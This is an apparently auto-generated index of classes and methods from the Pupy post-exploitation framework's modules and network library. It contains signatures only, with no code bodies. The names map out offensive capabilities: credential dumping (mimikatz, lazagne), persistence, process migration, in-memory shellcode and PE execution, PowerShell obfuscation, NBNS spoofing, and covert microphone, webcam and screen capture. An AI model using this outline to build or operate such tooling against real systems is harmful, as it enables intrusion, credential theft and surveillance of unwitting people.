method stop_daemon (line 39) | def stop_daemon(self):
method run (line 42) | def run(self, args):
FILE: pupy/modules/last.py
class LastModule (line 16) | class LastModule(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 37) | def run(self, args):
FILE: pupy/modules/lazagne.py
class LaZagne (line 24) | class LaZagne(PupyModule):
method init_argparse (line 63) | def init_argparse(cls):
method run (line 81) | def run(self, args):
method _run (line 104) | def _run(self, args):
method hashdump_to_dict (line 151) | def hashdump_to_dict(self, creds):
method cachedump_to_dict (line 169) | def cachedump_to_dict(self, creds):
method credfiles_to_dict (line 190) | def credfiles_to_dict(self, creds):
method creds_to_dict (line 216) | def creds_to_dict(self, creds, module):
method prepare_fields (line 253) | def prepare_fields(self, items, remove=[]):
method filter_same (line 271) | def filter_same(self, creds):
method print_lsa (line 278) | def print_lsa(self, creds):
method print_results (line 290) | def print_results(self, success, module, creds, db):
FILE: pupy/modules/lib/__init__.py
function size_human_readable (line 13) | def size_human_readable(num, suffix=''):
function file_timestamp (line 25) | def file_timestamp(timestamp, time=False):
FILE: pupy/modules/lib/linux/exec_elf.py
function mexec (line 16) | def mexec(module, path, argv, argv0=None, interactive=False, raw=False, ...
FILE: pupy/modules/lib/linux/migrate.py
function has_proc_migrated (line 20) | def has_proc_migrated(client, pid):
function get_payload (line 36) | def get_payload(module, compressed=True, debug=False, from_payload=None):
function wait_connect (line 61) | def wait_connect(module, pid, timeout=10):
function ld_preload (line 81) | def ld_preload(module, command, wait_thread=False, keep=False, debug=Fal...
function migrate (line 100) | def migrate(module, pid, keep=False, timeout=10, debug=False, from_paylo...
FILE: pupy/modules/lib/utils/cmdrepl.py
class CmdRepl (line 10) | class CmdRepl(Cmd):
method __init__ (line 11) | def __init__(self, stdout, write_cb, completion, CRLF=False, interpret...
method thread (line 23) | def thread(*args, **kwargs):
method _con_write (line 33) | def _con_write(self, data):
method do_EOF (line 50) | def do_EOF(self, line):
method do_help (line 53) | def do_help(self, line):
method completenames (line 56) | def completenames(self):
method precmd (line 59) | def precmd(self, line):
method postcmd (line 65) | def postcmd(self, stop, line):
method emptyline (line 69) | def emptyline(self):
method default (line 72) | def default(self, line):
method postloop (line 80) | def postloop(self):
method set_prompt (line 83) | def set_prompt(self, prompt='# '):
FILE: pupy/modules/lib/utils/download.py
class DownloadFronted (line 67) | class DownloadFronted(object):
method __init__ (line 68) | def __init__(self, client, exclude=None, include=None, follow_symlinks...
method du (line 107) | def du(self, remote_file, obj):
method _setup_context (line 120) | def _setup_context(self, remote_file, local_file, archive):
method dest_file (line 167) | def dest_file(self):
method download (line 171) | def download(self, remote_file,
method create_download_callback (line 192) | def create_download_callback(self, local_file=None, archive=False):
method stop (line 203) | def stop(self):
method process (line 208) | def process(self):
method _process_queue (line 214) | def _process_queue(self):
method _submit_message (line 219) | def _submit_message(self, data, exception):
method _callback (line 223) | def _callback(self, data, exception):
method _callback_unsafe (line 234) | def _callback_unsafe(self, data, exception):
method _split_path (line 255) | def _split_path(self, path):
method _check_path (line 269) | def _check_path(self, path):
method _check_name (line 272) | def _check_name(self, name):
method _get_path (line 277) | def _get_path(self, msg):
method _meta (line 294) | def _meta(self, meta):
method _handle_msg (line 299) | def _handle_msg(self, msg):
method interrupt (line 557) | def interrupt(self):
method __del__ (line 572) | def __del__(self):
FILE: pupy/modules/lib/utils/shell_exec.py
function shell_exec (line 11) | def shell_exec(client, cmdline, shell=None, env=None, encoding=None):
FILE: pupy/modules/lib/windows/memory_exec.py
function exec_pe (line 19) | def exec_pe(
FILE: pupy/modules/lib/windows/migrate.py
function has_proc_migrated (line 19) | def has_proc_migrated(client, pid):
function migrate (line 31) | def migrate(
FILE: pupy/modules/lib/windows/powerloader.py
function serve (line 22) | def serve(
FILE: pupy/modules/lib/windows/powershell.py
function remove_comments (line 9) | def remove_comments(string):
function obfs_ps_script (line 27) | def obfs_ps_script(script):
function obfuscatePowershellScript (line 38) | def obfuscatePowershellScript(code):
FILE: pupy/modules/lib/windows/winpcap.py
function init_winpcap (line 23) | def init_winpcap(client):
FILE: pupy/modules/linux_stealth.py
class SetStealth (line 16) | class SetStealth(PupyModule):
method init_argparse (line 25) | def init_argparse(cls):
method run (line 29) | def run(self, args):
FILE: pupy/modules/load_package.py
class LoadPackageModule (line 14) | class LoadPackageModule(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 29) | def run(self, args):
FILE: pupy/modules/lock_screen.py
class PupyMod (line 15) | class PupyMod(PupyModule):
method init_argparse (line 19) | def init_argparse(cls):
method run (line 22) | def run(self, args):
FILE: pupy/modules/logs.py
class Logs (line 14) | class Logs(PupyModule):
method init_argparse (line 24) | def init_argparse(cls):
method run (line 41) | def run(self, args):
FILE: pupy/modules/loot_memory.py
class LootMemory (line 11) | class LootMemory(PupyModule):
method init_argparse (line 19) | def init_argparse(cls):
method run (line 24) | def run(self, args):
FILE: pupy/modules/ls.py
function to_str (line 43) | def to_str(value):
function output_format (line 47) | def output_format(
class ls (line 116) | class ls(PupyModule):
method init_argparse (line 123) | def init_argparse(cls):
method run (line 164) | def run(self, args):
FILE: pupy/modules/mapped.py
class Mapped (line 17) | class Mapped(PupyModule):
method init_argparse (line 23) | def init_argparse(cls):
method run (line 37) | def run(self, args):
FILE: pupy/modules/memory_exec.py
class MemoryExec (line 36) | class MemoryExec(PupyModule):
method __init__ (line 48) | def __init__(self, *args, **kwargs):
method init_argparse (line 54) | def init_argparse(cls):
method interrupt (line 64) | def interrupt(self):
method run (line 69) | def run(self, args):
FILE: pupy/modules/memstrings.py
class MemStrings (line 17) | class MemStrings(PupyModule):
method init_argparse (line 26) | def init_argparse(cls):
method run (line 57) | def run(self, args):
method interrupt (line 117) | def interrupt(self):
FILE: pupy/modules/migrate.py
class MigrateModule (line 18) | class MigrateModule(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 71) | def run(self, args):
FILE: pupy/modules/mimikatz.py
class Mimikatz (line 34) | class Mimikatz(MemoryExec):
method init_argparse (line 47) | def init_argparse(cls):
method run (line 68) | def run(self, args):
method parse_mimikatz (line 153) | def parse_mimikatz(self, data):
method validate_ntlm (line 326) | def validate_ntlm(self, data):
FILE: pupy/modules/mimipy.py
class MimipyMod (line 13) | class MimipyMod(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 24) | def run(self, args):
FILE: pupy/modules/mimishell.py
class Mimishell (line 22) | class Mimishell(MemoryExec):
method init_argparse (line 34) | def init_argparse(cls):
method run (line 39) | def run(self, args):
FILE: pupy/modules/mkdir.py
class mkdir (line 20) | class mkdir(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 32) | def run(self, args):
FILE: pupy/modules/mouselogger.py
class MouseLoggerModule (line 21) | class MouseLoggerModule(PupyModule):
method init_argparse (line 31) | def init_argparse(cls):
method run (line 40) | def run(self, args):
FILE: pupy/modules/msgbox.py
class MsgBoxPopup (line 12) | class MsgBoxPopup(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 25) | def run(self, args):
FILE: pupy/modules/mv.py
class mv (line 20) | class mv(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 32) | def run(self, args):
FILE: pupy/modules/nbnsspoof.py
class NbnsSpoofModule (line 21) | class NbnsSpoofModule(PupyModule):
method init_argparse (line 30) | def init_argparse(cls):
method run (line 39) | def run(self, args):
FILE: pupy/modules/netcreds.py
class NetCreds (line 12) | class NetCreds(PupyModule):
method init_argparse (line 16) | def init_argparse(cls):
method run (line 68) | def run(self, args):
method _draw_creds (line 71) | def _draw_creds(self, creds):
method help (line 84) | def help(self, args):
method find (line 87) | def find(self, args):
method add (line 98) | def add(self, args):
method remove (line 110) | def remove(self, args):
method clear (line 119) | def clear(self, args):
FILE: pupy/modules/netmon.py
class NetMon (line 19) | class NetMon(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method stop_daemon (line 37) | def stop_daemon(self):
method render_diff (line 40) | def render_diff(self, diff):
method run (line 122) | def run(self, args):
FILE: pupy/modules/netstat.py
class NetStatModule (line 22) | class NetStatModule(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method run (line 50) | def run(self, args):
FILE: pupy/modules/odbc.py
class Counter (line 33) | class Counter(object):
method __init__ (line 36) | def __init__(self):
method inc (line 39) | def inc(self, value):
method __int__ (line 42) | def __int__(self):
method __str__ (line 45) | def __str__(self):
function _asunicode (line 50) | def _asunicode(x):
function _asunicode (line 56) | def _asunicode(x):
class ODBC (line 69) | class ODBC(PupyModule):
method init_argparse (line 77) | def init_argparse(cls):
method run (line 185) | def run(self, args):
method bind (line 206) | def bind(self, args):
method drivers (line 213) | def drivers(self, args):
method register (line 217) | def register(self, args):
method unbind (line 226) | def unbind(self, args):
method bounded (line 232) | def bounded(self, args):
method describe (line 247) | def describe(self, args):
method tables (line 259) | def tables(self, args):
method count (line 289) | def count(self, args):
method query (line 304) | def query(self, args):
method interrupt (line 413) | def interrupt(self):
FILE: pupy/modules/outlook.py
class Outlook (line 20) | class Outlook(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 44) | def run(self, args):
FILE: pupy/modules/persistence.py
class Persistence (line 35) | class Persistence(PupyModule):
method init_argparse (line 44) | def init_argparse(cls):
method run (line 65) | def run(self, args):
method linux (line 71) | def linux(self, args):
method parse_result (line 97) | def parse_result(self, result, print_result=True, get_method_id=True):
method launch_scan (line 118) | def launch_scan(self, print_result=True):
method windows (line 126) | def windows(self, args):
FILE: pupy/modules/pexec.py
class PExec (line 23) | class PExec(PupyModule):
method init_argparse (line 35) | def init_argparse(cls):
method run (line 71) | def run(self, args):
method interrupt (line 156) | def interrupt(self):
FILE: pupy/modules/pipecatcher.py
class PipeCatcher (line 19) | class PipeCatcher(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method run (line 37) | def run(self, args):
method stop_daemon (line 66) | def stop_daemon(self):
FILE: pupy/modules/port_scan.py
class PortScan (line 18) | class PortScan(PupyModule):
method init_argparse (line 24) | def init_argparse(cls):
method run (line 33) | def run(self, args):
method interrupt (line 82) | def interrupt(self):
FILE: pupy/modules/portfwd.py
class SocketPiper (line 37) | class SocketPiper(threading.Thread):
method __init__ (line 38) | def __init__(self, read_sock, write_sock):
method run (line 44) | def run(self):
class LocalPortFwdRequestHandler (line 75) | class LocalPortFwdRequestHandler(BaseRequestHandler):
method handle (line 76) | def handle(self):
class LocalPortFwdServer (line 101) | class LocalPortFwdServer(TCPServer):
method __init__ (line 104) | def __init__(self, server_address, RequestHandlerClass, bind_and_activ...
class ThreadedLocalPortFwdServer (line 110) | class ThreadedLocalPortFwdServer(ThreadingMixIn, LocalPortFwdServer):
method __str__ (line 111) | def __str__(self):
function get_remote_port_fwd_cb (line 115) | def get_remote_port_fwd_cb(remote_addr, local_addr):
class PortFwdModule (line 141) | class PortFwdModule(PupyModule):
method __init__ (line 148) | def __init__(self, *args, **kwargs):
method init_argparse (line 154) | def init_argparse(cls):
method stop_daemon (line 161) | def stop_daemon(self):
method run (line 165) | def run(self, args):
FILE: pupy/modules/powerview.py
class Powerview (line 18) | class Powerview(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 191) | def run(self, args):
FILE: pupy/modules/privesc_checker.py
class PrivEsc_Checker (line 19) | class PrivEsc_Checker(PupyModule):
method init_argparse (line 23) | def init_argparse(cls):
method run (line 30) | def run(self, args):
method writeInFile (line 56) | def writeInFile(self,filename, data):
FILE: pupy/modules/process_kill.py
class KillModule (line 12) | class KillModule(PupyModule):
method init_argparse (line 16) | def init_argparse(cls):
method run (line 21) | def run(self, args):
FILE: pupy/modules/ps.py
class Key (line 25) | class Key(str):
method __lt__ (line 28) | def __lt__(self, other):
function gen_colinfo (line 46) | def gen_colinfo(data):
function to_string (line 86) | def to_string(value):
function gen_columns (line 99) | def gen_columns(record, colinfo=None):
function gen_output_line (line 139) | def gen_output_line(columns, info, record, wide=False):
function print_psinfo (line 177) | def print_psinfo(fout, families, socktypes, data, colinfo, sections=[], ...
function is_filtered (line 258) | def is_filtered(pid, columns, hide, show):
function check_tree_show (line 292) | def check_tree_show(pid, data, show, tree):
function print_pstree (line 316) | def print_pstree(fout, parent, tree, data,
function print_ps (line 369) | def print_ps(fout, data, colinfo={},
class PsModule (line 391) | class PsModule(PupyModule):
method init_argparse (line 398) | def init_argparse(cls):
method run (line 414) | def run(self, args):
FILE: pupy/modules/psexec.py
class PSExec (line 20) | class PSExec(PupyModule):
method init_argparse (line 32) | def init_argparse(cls):
method run (line 59) | def run(self, args):
FILE: pupy/modules/psh.py
class PowershellManager (line 20) | class PowershellManager(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 71) | def run(self, args):
FILE: pupy/modules/pwd.py
class pwd (line 21) | class pwd(PupyModule):
method init_argparse (line 26) | def init_argparse(cls):
method run (line 29) | def run(self, args):
FILE: pupy/modules/pyexec.py
class PythonExec (line 25) | class PythonExec(PupyModule):
method init_argparse (line 31) | def init_argparse(cls):
method run (line 37) | def run(self, args):
FILE: pupy/modules/pyshell.py
function enqueue_output (line 29) | def enqueue_output(out, queue):
class InteractivePythonShell (line 35) | class InteractivePythonShell(PupyModule):
method init_argparse (line 42) | def init_argparse(cls):
method run (line 47) | def run(self, args):
FILE: pupy/modules/pywerview.py
class Pywerview (line 15) | class Pywerview(PupyModule):
method init_argparse (line 22) | def init_argparse(cls):
method run (line 329) | def run(self, args):
FILE: pupy/modules/rdesktop.py
class RdesktopWebSocketHandler (line 23) | class RdesktopWebSocketHandler(WebSocketHandler):
method initialize (line 24) | def initialize(self, client, refresh_interval, module, **kwargs):
method on_open (line 36) | def on_open(self):
method events_handler (line 40) | def events_handler(self, mouse_refresh_rate=0.01):
method on_message (line 58) | def on_message(self, data):
method update_video_callback (line 87) | def update_video_callback(self, jpg_data, width, height):
method start_stream (line 98) | def start_stream(self):
method on_close (line 120) | def on_close(self):
class IndexHandler (line 127) | class IndexHandler(RequestHandler):
method initialize (line 128) | def initialize(self, **kwargs):
method get (line 132) | async def get(self):
class RemoteDesktopModule (line 136) | class RemoteDesktopModule(PupyModule):
method init_argparse (line 142) | def init_argparse(cls):
method run (line 153) | def run(self, args):
FILE: pupy/modules/rdp.py
class Rdp (line 13) | class Rdp(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 53) | def run(self, args):
method interrupt (line 101) | def interrupt(self):
FILE: pupy/modules/record_mic.py
function save_wav (line 23) | def save_wav(path, sample_width, channels, rate, raw_frames):
class RecordMicrophoneModule (line 33) | class RecordMicrophoneModule(PupyModule):
method init_argparse (line 39) | def init_argparse(cls):
method run (line 45) | def run(self, args):
FILE: pupy/modules/reg.py
function fix_key (line 49) | def fix_key(x):
class reg (line 65) | class reg(PupyModule):
method init_argparse (line 76) | def init_argparse(cls):
method __init__ (line 165) | def __init__(self, *args, **kwargs):
method _method (line 169) | def _method(self, name, args, serialize=True):
method run (line 187) | def run(self, args):
method _format_multi (line 214) | def _format_multi(self, results, wide=False, remove=None):
method ls (line 271) | def ls(self, args):
method get (line 285) | def get(self, args):
method set (line 294) | def set(self, args):
method rm (line 312) | def rm(self, args):
method interrupt (line 320) | def interrupt(self):
method _format_by_one (line 327) | def _format_by_one(self, record):
method search (line 357) | def search(self, args):
FILE: pupy/modules/rfs.py
class PupyFUSE (line 25) | class PupyFUSE(fuse.FUSE):
method __init__ (line 28) | def __init__(self, operations, mountpoint, raw_fi=False, encoding='utf...
method loop (line 70) | def loop(self):
class RFSManager (line 81) | class RFSManager(object):
method __init__ (line 82) | def __init__(self):
method assigned (line 89) | def assigned(self):
method assign (line 94) | def assign(self, client):
method mount (line 116) | def mount(self, rpath, lpath):
method umount (line 138) | def umount(self, lpath):
method mounts (line 162) | def mounts(self):
method umountall (line 167) | def umountall(self):
class RemoteOperations (line 171) | class RemoteOperations(object):
class PupyRFS (line 203) | class PupyRFS(Operations):
method __init__ (line 204) | def __init__(self, root, rops):
method _full_path (line 211) | def _full_path(self, partial):
method access (line 219) | def access(self, path, mode):
method chmod (line 224) | def chmod(self, path, mode):
method chown (line 228) | def chown(self, path, uid, gid):
method getattr (line 232) | def getattr(self, path, fh=None):
method readdir (line 241) | def readdir(self, path, fh):
method readlink (line 252) | def readlink(self, path):
method mknod (line 260) | def mknod(self, path, mode, dev):
method rmdir (line 263) | def rmdir(self, path):
method mkdir (line 267) | def mkdir(self, path, mode):
method statfs (line 270) | def statfs(self, path):
method unlink (line 279) | def unlink(self, path):
method symlink (line 282) | def symlink(self, name, target):
method rename (line 285) | def rename(self, old, new):
method link (line 288) | def link(self, target, name):
method utimens (line 291) | def utimens(self, path, times=None):
method open (line 297) | def open(self, path, flags):
method create (line 301) | def create(self, path, mode, fi=None):
method read (line 305) | def read(self, path, length, offset, fh):
method write (line 309) | def write(self, path, buf, offset, fh):
method truncate (line 313) | def truncate(self, path, length, fh=None):
method flush (line 320) | def flush(self, path, fh):
method release (line 323) | def release(self, path, fh):
method fsync (line 326) | def fsync(self, path, fdatasync, fh):
class RemoteFS (line 332) | class RemoteFS(PupyModule):
method init_argparse (line 338) | def init_argparse(cls):
method run (line 356) | def run(self, args):
method mount (line 363) | def mount(self, args, manager):
method umount (line 366) | def umount(self, args, manager):
method list (line 369) | def list(self, args, manager):
FILE: pupy/modules/rm.py
class rm (line 20) | class rm(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 34) | def run(self, args):
FILE: pupy/modules/rwmic.py
function _stringify (line 22) | def _stringify(x):
class RWMIC (line 34) | class RWMIC(PupyModule):
method init_argparse (line 44) | def init_argparse(cls):
method run (line 63) | def run(self, args):
FILE: pupy/modules/scapy_shell.py
function enqueue_output (line 25) | def enqueue_output(out, queue):
class InteractiveScapyShell (line 30) | class InteractiveScapyShell(PupyModule):
method init_argparse (line 38) | def init_argparse(cls):
method run (line 41) | def run(self, args):
FILE: pupy/modules/screenshot.py
class Screenshoter (line 45) | class Screenshoter(PupyModule):
method init_argparse (line 53) | def init_argparse(cls):
method run (line 59) | def run(self, args):
FILE: pupy/modules/search.py
class SearchModule (line 22) | class SearchModule(PupyModule):
method init_argparse (line 36) | def init_argparse(cls):
method run (line 132) | def run(self, args):
method interrupt (line 262) | def interrupt(self):
FILE: pupy/modules/services.py
class Services (line 19) | class Services(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 35) | def run(self, args):
FILE: pupy/modules/shares.py
class Shares (line 14) | class Shares(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 49) | def run(self, args):
FILE: pupy/modules/shell_exec.py
class ShellExec (line 22) | class ShellExec(PupyModule):
method init_argparse (line 34) | def init_argparse(cls):
method run (line 46) | def run(self, args):
method interrupt (line 91) | def interrupt(self):
FILE: pupy/modules/shellcode_exec.py
class ShellcodeExec (line 18) | class ShellcodeExec(PupyModule):
method init_argparse (line 24) | def init_argparse(cls):
method run (line 28) | def run(self, args):
FILE: pupy/modules/smb.py
class SMBError (line 27) | class SMBError(Exception):
class SMB (line 32) | class SMB(PupyModule):
method init_argparse (line 42) | def init_argparse(cls):
method run (line 107) | def run(self, args):
method help (line 114) | def help(self, args):
method cache (line 117) | def cache(self, args):
method get_ft (line 146) | def get_ft(self, args, host):
method shares (line 165) | def shares(self, args):
method parse_netloc (line 182) | def parse_netloc(self, line, partial=False, codepage=None):
method ls (line 220) | def ls(self, args):
method rm (line 256) | def rm(self, args):
method mkdir (line 274) | def mkdir(self, args):
method rmdir (line 292) | def rmdir(self, args):
method cp (line 310) | def cp(self, args):
method cat (line 362) | def cat(self, args):
FILE: pupy/modules/smbspider.py
class SMBSpider (line 15) | class SMBSpider(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 51) | def run(self, args):
FILE: pupy/modules/socks5proxy.py
class SocketPiper (line 63) | class SocketPiper(threading.Thread):
method __init__ (line 64) | def __init__(self, read_sock, write_sock):
method run (line 70) | def run(self):
class Socks5RequestHandler (line 110) | class Socks5RequestHandler(BaseRequestHandler):
method _socks_response (line 111) | def _socks_response(self, code, terminate=False):
method handle (line 126) | def handle(self):
class Socks5Server (line 201) | class Socks5Server(TCPServer):
method __init__ (line 204) | def __init__(self, server_address, RequestHandlerClass, bind_and_activ...
class ThreadedSocks5Server (line 209) | class ThreadedSocks5Server(ThreadingMixIn, Socks5Server):
class Socks5Proxy (line 213) | class Socks5Proxy(PupyModule):
method init_argparse (line 223) | def init_argparse(cls):
method stop_daemon (line 228) | def stop_daemon(self):
method run (line 237) | def run(self, args):
FILE: pupy/modules/ssh.py
class SSH (line 24) | class SSH(PupyModule):
method init_argparse (line 42) | def init_argparse(cls):
method run (line 98) | def run(self, args):
method hosts (line 127) | def hosts(self, args):
method _handle_on_data (line 151) | def _handle_on_data(self, args, data_cb, connect_cb=None, complete_cb=...
method key_scan (line 212) | def key_scan(self, args):
method rexec (line 235) | def rexec(self, args):
method download (line 255) | def download(self, args):
method upload (line 312) | def upload(self, args):
method interrupt (line 340) | def interrupt(self):
method _find_private_keys (line 348) | def _find_private_keys(self, fpath):
FILE: pupy/modules/sshell.py
class SSHell (line 30) | class SSHell(PupyModule):
method init_argparse (line 44) | def init_argparse(cls):
method init (line 64) | def init(self, args):
method run (line 72) | def run(self, args):
method _find_private_keys (line 150) | def _find_private_keys(self, fpath):
FILE: pupy/modules/stat.py
class FStat (line 30) | class FStat(PupyModule):
method init_argparse (line 42) | def init_argparse(cls):
method run (line 54) | def run(self, args):
FILE: pupy/modules/sudo_alias.py
class SudoAlias (line 13) | class SudoAlias(PupyModule):
method init_argparse (line 19) | def init_argparse(cls):
method run (line 23) | def run(self, args):
FILE: pupy/modules/tasks.py
class Tasks (line 14) | class Tasks(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 23) | def run(self, args):
FILE: pupy/modules/tcpdump.py
class TcpdumpModule (line 27) | class TcpdumpModule(PupyModule):
method init_argparse (line 39) | def init_argparse(cls):
method printer (line 54) | def printer(self, pcap_writer=None, print_summary=True):
method on_error (line 70) | def on_error(self, error=None):
method run (line 76) | def run(self, args):
method interrupt (line 119) | def interrupt(self):
FILE: pupy/modules/text_to_speach.py
class AndroidTTS (line 12) | class AndroidTTS(PupyModule):
method init_argparse (line 18) | def init_argparse(cls):
method run (line 23) | def run(self, args):
FILE: pupy/modules/ttyrec.py
function _to_unicode (line 65) | def _to_unicode(x):
function _to_int (line 75) | def _to_int(x):
class TTYRec (line 87) | class TTYRec(PupyModule):
method init_argparse (line 107) | def init_argparse(cls):
method start (line 122) | def start(self, args):
method stop (line 132) | def stop(self, args):
method dump (line 138) | def dump(self, args):
method run (line 206) | def run(self, args):
FILE: pupy/modules/upload.py
class UploaderScript (line 24) | class UploaderScript(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 34) | def run(self, args):
FILE: pupy/modules/users.py
class Users (line 16) | class Users(PupyModule):
method init_argparse (line 25) | def init_argparse(cls):
method run (line 34) | def run(self, args):
FILE: pupy/modules/usniper.py
class USniper (line 24) | class USniper(PupyModule):
method init_argparse (line 35) | def init_argparse(cls):
method start (line 57) | def start(self, args):
method stop (line 74) | def stop(self, args):
method dump (line 79) | def dump(self, args):
method run (line 109) | def run(self, args):
FILE: pupy/modules/vibrate.py
class AndroidVibrate (line 12) | class AndroidVibrate(PupyModule):
method init_argparse (line 18) | def init_argparse(cls):
method run (line 21) | def run(self, args):
FILE: pupy/modules/w.py
class WModule (line 20) | class WModule(PupyModule):
method init_argparse (line 31) | def init_argparse(cls):
method run (line 36) | def run(self, args):
FILE: pupy/modules/webcamsnap.py
function pil_save (line 36) | def pil_save(filename, pixels, width, height):
class WebcamSnapModule (line 47) | class WebcamSnapModule(PupyModule):
method init_argparse (line 56) | def init_argparse(cls):
method run (line 63) | def run(self, args):
FILE: pupy/modules/wmic.py
class WMIC (line 21) | class WMIC(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 35) | def run(self, args):
FILE: pupy/modules/write.py
class Write (line 21) | class Write(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 54) | def run(self, args):
FILE: pupy/modules/x509.py
class x509 (line 13) | class x509(PupyModule):
method init_argparse (line 19) | def init_argparse(cls):
method run (line 29) | def run(self, args):
FILE: pupy/modules/zip.py
class Zip (line 13) | class Zip(PupyModule):
method init_argparse (line 19) | def init_argparse(cls):
method nice_size (line 27) | def nice_size(self, value):
method run (line 37) | def run(self, args):
FILE: pupy/network/conf.py
function add_transport (line 26) | def add_transport(module_name):
function load_network_modules (line 50) | def load_network_modules():
FILE: pupy/network/lib/__init__.py
function getLogger (line 37) | def getLogger(name):
FILE: pupy/network/lib/ack.py
class Ack (line 27) | class Ack(object):
method __init__ (line 32) | def __init__(self):
method is_set (line 37) | def is_set(self):
method set (line 41) | def set(self):
method wait (line 48) | def wait(self, timeout=None, probe=0.5):
FILE: pupy/network/lib/base.py
class ReleaseChainedTransport (line 11) | class ReleaseChainedTransport(Exception):
class TransportSetupFailed (line 15) | class TransportSetupFailed(Exception):
class BasePupyTransport (line 19) | class BasePupyTransport(object):
method __init__ (line 25) | def __init__(self, stream, **kwargs):
method customize (line 42) | def customize(cls, **kwargs):
method custom (line 55) | def custom(cls, **kwargs):
method set (line 59) | def set(cls, **kwargs):
method close (line 62) | def close(self):
method on_connect (line 77) | def on_connect(self):
method on_close (line 85) | def on_close(self):
method downstream_recv (line 93) | def downstream_recv(self, data):
method upstream_recv (line 102) | def upstream_recv(self, data):
class BaseTransport (line 112) | class BaseTransport(BasePupyTransport):
class TransportError (line 117) | class TransportError(Exception):
class PluggableTransportError (line 121) | class PluggableTransportError(Exception):
class TransportWrapper (line 132) | class TransportWrapper(BasePupyTransport):
method __init__ (line 138) | def __init__(self, stream, **kwargs):
method _setup_callbacks (line 152) | def _setup_callbacks(self):
method _linearize (line 161) | def _linearize(cls):
method _generate_write_callback (line 169) | def _generate_write_callback(self, buffer, idx, up=False):
method on_connect (line 175) | def on_connect(self):
method on_close (line 179) | def on_close(self):
method close (line 183) | def close(self):
method downstream_recv (line 192) | def downstream_recv(self, data, idx=0):
method upstream_recv (line 209) | def upstream_recv(self, data, idx=None):
function chain_transports (line 226) | def chain_transports(*args):
FILE: pupy/network/lib/base_launcher.py
class LauncherError (line 23) | class LauncherError(Exception):
class LauncherArgumentParser (line 27) | class LauncherArgumentParser(argparse.ArgumentParser):
method __init__ (line 30) | def __init__(self, *args, **kwargs):
method exit (line 33) | def exit(self, status=0, message=None):
method error (line 36) | def error(self, message):
class BaseLauncherMetaclass (line 40) | class BaseLauncherMetaclass(type):
method __init__ (line 41) | def __init__(self, *args, **kwargs):
class BaseLauncher (line 46) | class BaseLauncher(with_metaclass(BaseLauncherMetaclass)):
method __init__ (line 55) | def __init__(self):
method init_argparse (line 61) | def init_argparse(cls):
method iterate (line 65) | def iterate(self):
method parse_args (line 69) | def parse_args(self, args):
method set_default_transport (line 76) | def set_default_transport(self, transport):
method transport (line 80) | def transport(self):
method set_connection_info (line 83) | def set_connection_info(self, hostname, host, port, proxies, transport...
method reset_connection_info (line 90) | def reset_connection_info(self):
FILE: pupy/network/lib/buffer.py
class Buffer (line 30) | class Buffer(object):
method _check_suppored_data_type (line 45) | def _check_suppored_data_type(data):
method __init__ (line 53) | def __init__(self, data='', on_write=None, transport_func=None, trunca...
method __enter__ (line 85) | def __enter__(self):
method __exit__ (line 88) | def __exit__(self, *exc):
method copy (line 91) | def copy(self):
method on_write (line 98) | def on_write(self):
method wait (line 105) | def wait(self, timeout=0.1, at_least=0, force=False):
method wake (line 118) | def wake(self):
method _linearize (line 124) | def _linearize(self, upto=None):
method _obtain (line 173) | def _obtain(self, n=-1, view=False, release=False):
method read (line 215) | def read(self, n=-1, view=False):
method insert (line 226) | def insert(self, data):
method truncate (line 250) | def truncate(self, newlen):
method __iadd__ (line 288) | def __iadd__(self, data):
method append (line 295) | def append(self, data):
method write (line 330) | def write(self, data, notify=True):
method flush (line 343) | def flush(self):
method write_to (line 352) | def write_to(self, stream, modificator=None, notify=True, view=False, ...
method peek (line 435) | def peek(self, n=-1, view=False):
method drain (line 446) | def drain(self, n=-1):
method chunksinfo (line 489) | def chunksinfo(self):
method __len__ (line 499) | def __len__(self):
method __nonzero__ (line 503) | def __nonzero__(self):
FILE: pupy/network/lib/clients.py
class PupyClient (line 34) | class PupyClient(object):
method connect (line 35) | def connect(self, host, port, timeout=4):
class PupyAsyncClient (line 40) | class PupyAsyncClient(object):
method connect (line 41) | def connect(self, host, port, timeout=10):
class PupyTCPClient (line 48) | class PupyTCPClient(PupyClient):
method __init__ (line 49) | def __init__(
method connect (line 62) | def connect(self, host, port):
class PupyProxifiedTCPClient (line 98) | class PupyProxifiedTCPClient(PupyTCPClient):
method __init__ (line 99) | def __init__(self, *args, **kwargs):
method connect (line 106) | def connect(self, host, port):
class PupySSLClient (line 148) | class PupySSLClient(PupyTCPClient):
method __init__ (line 149) | def __init__(self, *args, **kwargs):
method connect (line 180) | def connect(self, host, port):
method connect_any (line 186) | def connect_any(self, host, port):
method connect_pupy (line 198) | def connect_pupy(self, host, port):
class PupyProxifiedSSLClient (line 246) | class PupyProxifiedSSLClient(PupySSLClient, PupyProxifiedTCPClient):
class PupyUDPClient (line 250) | class PupyUDPClient(PupyClient):
method __init__ (line 251) | def __init__(
method connect (line 260) | def connect(self, host, port):
FILE: pupy/network/lib/compat.py
function is_int (line 34) | def is_int(value):
function is_str (line 37) | def is_str(value):
function as_byte (line 40) | def as_byte(value):
function is_int (line 51) | def is_int(value):
function is_str (line 54) | def is_str(value):
function as_byte (line 57) | def as_byte(value):
function is_bin (line 61) | def is_bin(value):
class Struct (line 71) | class Struct(object):
